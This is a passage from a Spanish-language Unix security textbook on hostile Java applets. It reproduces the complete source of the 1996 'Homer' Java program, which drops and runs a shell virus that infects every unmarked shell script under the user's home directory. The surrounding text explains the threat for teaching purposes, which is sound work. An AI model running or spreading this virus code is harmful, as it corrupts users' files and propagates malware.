En los últimos años, con la proliferación de la web, Java y
Javascript, una nueva forma de malware se ha hecho popular. Se trata de
los denominados applets hostiles, applets que al ser descargados
intentan monopolizar o explotar los recursos del sistema de una forma
inapropiada ([MF96]); esto incluye desde ataques clásicos como
negaciones de servicio o ejecución remota de programas en la máquina
cliente hasta amenazas mucho más elaboradas, como difusión de virus,
ruptura lógica de cortafuegos o utilización de recursos remotos para grandes
cálculos científicos.
Como ejemplo de applet hostil - aunque este en concreto no es muy
peligroso - tenemos el siguiente código, obra de Mark D. LaDue (1996):
anita:~/Security# cat Homer.java
import java.io.*;
class Homer {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new
FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
anita:~/Security#
Este programa infecta los sistemas Unix con un virus que contamina ficheros
shellscript; antes de hacerlo muestra el mensaje `Java is safe, and
UNIX viruses do not exist', para después localizar todos los ficheros shell en el directorio $HOME, comprobar cuáles están infectados, e
infectar los que no lo están.
Aunque en un principio no se tomó muy en serio el problema de los applets hostiles, poco tiempo después la propia Sun Microsystems
reconoció la problemática asociada y se puso a trabajar para minimizar los
potenciales efectos de estos applets; principalmente se han centrado
esfuerzos en controlar la cantidad de recursos consumidos por un programa y en
proporcionar las clases necesarias para que los propios navegadores monitoricen
los applets ejecutados. No obstante, aunque se solucionen los problemas
de seguridad en el código, es probable que se puedan seguir utilizando applets como una forma de ataque a los sistemas: mientras que estos programas
puedan realizar conexiones por red, no habrán desaparecido los problemas.
© 2002 Antonio Villalón Huerta